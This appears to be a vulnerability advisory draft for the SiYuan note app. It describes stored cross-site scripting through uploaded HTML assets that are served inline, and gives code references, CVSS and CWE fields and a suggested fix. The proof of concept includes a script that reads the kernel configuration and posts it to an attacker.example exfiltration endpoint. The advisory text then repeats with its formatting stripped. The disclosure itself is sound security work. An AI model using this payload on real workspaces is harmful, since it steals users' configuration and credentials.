Summary
SiYuan lets users attach/embed arbitrary files as "assets" (there is no
file-extension allowlist or denylist on upload). Assets are served back at
GET /assets/*path. For any file that is not specifically .svg or a
thumbnail, the handler falls through to plain http.ServeFile, and the
only place Content-Disposition: attachment is ever set requires the
requester to explicitly pass ?download=true; by default it is never set.
No X-Content-Type-Options: nosniff or Content-Security-Policy header is
applied on this fallback path either (both are only set inside the
SVG-specific branch). This means an .html (or .htm, .xhtml, .svg
with scripting allowed, etc.) file placed anywhere under a workspace's
assets directory is served inline with Content-Type: text/html
(auto-detected from the file extension), same-origin with the kernel's own
API. Any script inside it executes with full access to fetch() every
/api/* endpoint using the viewer's ambient session, i.e. full read/write
access to all notebooks and every admin-only action covered elsewhere in
this review (SQL console, pandoc conversion, settings, etc.) if opened by
the workspace owner. This is CWE-79 (Stored Cross-Site Scripting) with a
CWE-434 (Unrestricted Upload of File with Dangerous Type) contributing
factor, and it is a well-precedented vulnerability class in note-taking
apps that support file attachments.
Details
kernel/server/serve.go, setAssetsAttachmentDisposition() (line 682):
func setAssetsAttachmentDisposition(c *gin.Context, pathForBaseName string) {
if !strings.EqualFold(c.Query("download"), "true") {
return
}
c.Header("Content-Disposition", formatContentDispositionAttachment(filepath.Base(pathForBaseName)))
}
Only sets the header when the caller opts in via ?download=true. Nothing
in the codebase forces this parameter when serving a file whose type is
unsafe to render inline.
serveAssets() (line 689), the general non-SVG, non-thumbnail fallback
(the final lines of the /assets/*path handler):
// 返回原始文件
setAssetsAttachmentDisposition(context, p)
http.ServeFile(context.Writer, context.Request, p)
setAssetsAttachmentDisposition here is a no-op unless download=true is
present on the request. http.ServeFile (Go standard library) sets
Content-Type based on mime.TypeByExtension for the file's extension
(.html/.htm map to text/html), or content-sniffs the body if the
extension is unrecognized, with no involvement from SiYuan's own code.
Compare to the SVG-specific branch, serveSVG() (line 774), which does
explicitly set X-Content-Type-Options: nosniff and, when
Conf.Editor.AllowSVGScript is false (the default), a restrictive CSP and
script sanitization. This shows the maintainers are already aware that
served assets need this hardening, they applied it specifically for SVG,
but the identical concern for HTML-typed files (arguably a more directly
dangerous type, since it needs no sanitizer bypass at all, just an
unmodified <script> tag) was not addressed on the general fallback path.
Upload has no extension restriction. kernel/model/upload.go's Upload()
handler (used by POST /upload, CheckAuth+CheckAdminRole+
CheckReadonly) only lower-cases the extension for filename
normalization; there is no allowlist or denylist of file types anywhere in
the function. Any file type a user drags into a note as an attachment,
including .html, becomes an asset with no special handling.
The asset-serving route itself, GET /assets/*path
(kernel/server/serve.go:692), is gated only by CheckAuth (not
CheckAdminRole), consistent with assets needing to be reachable by
lower-privileged publish-site visitors too; non-admin access is separately
restricted to assets covered by publish-access rules
(CheckAbsPathAccessableByPublishAccess), but the workspace owner's own
admin session can reach any non-encrypted asset directly, which is the
primary path this finding is concerned with.
PoC
# 1. Upload an HTML file as an asset (as the authenticated workspace owner,
# e.g. via drag-and-drop attachment in the UI, or directly via the API):
curl -s -u "<workspaceName>:<accessAuthCode>" \
-F "file[]=@payload.html" \
http://<target>:6806/upload
# payload.html contents:
# <script>
# fetch('/api/system/getConf', {method:'POST'})
# .then(r => r.text())
# .then(t => fetch('https://attacker.example/exfil', {method:'POST', body:t}));
# </script>
# 2. Note the returned asset path, e.g. assets/payload-<id>.html
# 3. Fetch it back with no special parameters:
curl -s -u "<workspaceName>:<accessAuthCode>" \
http://<target>:6806/assets/payload-<id>.html -D -
# Response headers include no Content-Disposition (since ?download=true was
# not passed) and no X-Content-Type-Options; Content-Type is text/html.
If the workspace owner (or anyone else who can reach this asset per the
publish-access rules) opens this URL directly in a browser, e.g. by
clicking an attachment link SiYuan's own UI renders for the note that
embeds it, the script executes same-origin with the kernel and can call
any /api/* endpoint using the viewer's session.
(Not run end-to-end against a live compiled kernel, same sandbox
limitation as prior findings; the header-setting logic and its gap are
read directly from the two functions quoted above, and http.ServeFile's
content-type behavior is standard, well-documented Go standard library
behavior, not something inferred.)
Impact
Any user of SiYuan who ends up with an HTML (or similarly script-capable)
file among their note assets, whether by attaching it themselves, receiving
it via a shared/synced workspace, importing it from an external source, or
via any of the other file-write paths covered elsewhere in this review, and
then opens it (a completely ordinary action for any other attachment type,
like opening a PDF or image), grants that file's script full access to
every kernel API endpoint as themselves. For the workspace owner this means
complete compromise: read/write access to every notebook, the ability to
trigger the pandoc RCE and every other admin-only action documented in this
review, and exfiltration of the workspace's AccessAuthCode and any stored
credentials reachable via the API.
## Affected products
| Field | Value |
|---|---|
| Ecosystem | **Go** |
| Package name | `github.com/siyuan-note/siyuan/kernel` |
| Affected versions | `<= 3.7.3` (confirmed present in 3.7.3) |
| Patched versions | *(none yet, leave blank until a fix is released)* |
## Severity
| Field | Value |
|---|---|
| Vector string | `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H` |
| Score | **8.8 (High)**. Network attack vector, low complexity, low privileges to place the file (or none, if it arrives via a shared/synced/imported source), user interaction required (opening the asset), scope change since script execution in the asset's rendering context leads to full kernel API compromise beyond that context, complete confidentiality/integrity/availability impact once the API is reachable. |
## Weaknesses (CWE)
- **CWE-79**: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (primary)
- **CWE-434**: Unrestricted Upload of File with Dangerous Type (contributing)
- **CWE-693**: Protection Mechanism Failure (the nosniff/CSP/Content-Disposition hardening exists elsewhere in the same file for SVG but was not applied to the general case)
## Notes for filing
- This is a different root cause from the template SSTI/SQLi advisory
(different subsystem entirely: HTTP asset serving, not the template
engine) and from the pandoc RCE advisory, though all three ultimately
demonstrate the same broader pattern seen throughout this review:
protective logic that exists in one place in this codebase is not applied
consistently everywhere the same risk appears.
- Suggested fix direction: unconditionally set `X-Content-Type-Options:
nosniff` on every response from `/assets/*path`, and either always set
`Content-Disposition: attachment` for any content-type capable of
script execution when rendered (`text/html`, `application/xhtml+xml`,
and any type not on an explicit safe-to-render-inline allowlist like
common image/audio/video/PDF types), or restrict inline rendering to a
small allowlist of known-safe types the way `serveSVG` already
special-cases SVG specifically.
Summary
SiYuan lets users attach/embed arbitrary files as "assets" (there is no
file-extension allowlist or denylist on upload). Assets are served back at
GET /assets/*path. For any file that is not specifically.svgor athumbnail, the handler falls through to plain
http.ServeFile, and theonly place
Content-Disposition: attachmentis ever set requires therequester to explicitly pass
?download=true; by default it is never set.No
X-Content-Type-Options: nosniffor Content-Security-Policy header isapplied on this fallback path either (both are only set inside the
SVG-specific branch). This means an
.html(or.htm,.xhtml,.svgwith scripting allowed, etc.) file placed anywhere under a workspace's
assetsdirectory is served inline withContent-Type: text/html(auto-detected from the file extension), same-origin with the kernel's own
API. Any script inside it executes with full access to
fetch()every/api/*endpoint using the viewer's ambient session, i.e. full read/writeaccess to all notebooks and every admin-only action covered elsewhere in
this review (SQL console, pandoc conversion, settings, etc.) if opened by
the workspace owner. This is CWE-79 (Stored Cross-Site Scripting) with a
CWE-434 (Unrestricted Upload of File with Dangerous Type) contributing
factor, and it is a well-precedented vulnerability class in note-taking
apps that support file attachments.
Details
kernel/server/serve.go,setAssetsAttachmentDisposition()(line 682):Only sets the header when the caller opts in via
?download=true. Nothingin the codebase forces this parameter when serving a file whose type is
unsafe to render inline.
serveAssets()(line 689), the general non-SVG, non-thumbnail fallback(the final lines of the
/assets/*pathhandler):setAssetsAttachmentDispositionhere is a no-op unlessdownload=trueispresent on the request.
http.ServeFile(Go standard library) setsContent-Typebased onmime.TypeByExtensionfor the file's extension(
.html/.htmmap totext/html), or content-sniffs the body if theextension is unrecognized, with no involvement from SiYuan's own code.
Compare to the SVG-specific branch,
serveSVG()(line 774), which doesexplicitly set
X-Content-Type-Options: nosniffand, whenConf.Editor.AllowSVGScriptis false (the default), a restrictive CSP andscript sanitization. This shows the maintainers are already aware that
served assets need this hardening, they applied it specifically for SVG,
but the identical concern for HTML-typed files (arguably a more directly
dangerous type, since it needs no sanitizer bypass at all, just an
unmodified
<script>tag) was not addressed on the general fallback path.Upload has no extension restriction.
kernel/model/upload.go'sUpload()handler (used by
POST /upload,CheckAuth+CheckAdminRole+CheckReadonly) only lower-cases the extension for filenamenormalization; there is no allowlist or denylist of file types anywhere in
the function. Any file type a user drags into a note as an attachment,
including
.html, becomes an asset with no special handling.The asset-serving route itself,
GET /assets/*path(
kernel/server/serve.go:692), is gated only byCheckAuth(notCheckAdminRole), consistent with assets needing to be reachable bylower-privileged publish-site visitors too; non-admin access is separately
restricted to assets covered by publish-access rules
(
CheckAbsPathAccessableByPublishAccess), but the workspace owner's ownadmin session can reach any non-encrypted asset directly, which is the
primary path this finding is concerned with.
PoC
If the workspace owner (or anyone else who can reach this asset per the
publish-access rules) opens this URL directly in a browser, e.g. by
clicking an attachment link SiYuan's own UI renders for the note that
embeds it, the script executes same-origin with the kernel and can call
any
/api/*endpoint using the viewer's session.(Not run end-to-end against a live compiled kernel, same sandbox
limitation as prior findings; the header-setting logic and its gap are
read directly from the two functions quoted above, and
http.ServeFile'scontent-type behavior is standard, well-documented Go standard library
behavior, not something inferred.)
Impact
Any user of SiYuan who ends up with an HTML (or similarly script-capable)
file among their note assets, whether by attaching it themselves, receiving
it via a shared/synced workspace, importing it from an external source, or
via any of the other file-write paths covered elsewhere in this review, and
then opens it (a completely ordinary action for any other attachment type,
like opening a PDF or image), grants that file's script full access to
every kernel API endpoint as themselves. For the workspace owner this means
complete compromise: read/write access to every notebook, the ability to
trigger the pandoc RCE and every other admin-only action documented in this
review, and exfiltration of the workspace's
AccessAuthCodeand any storedcredentials reachable via the API.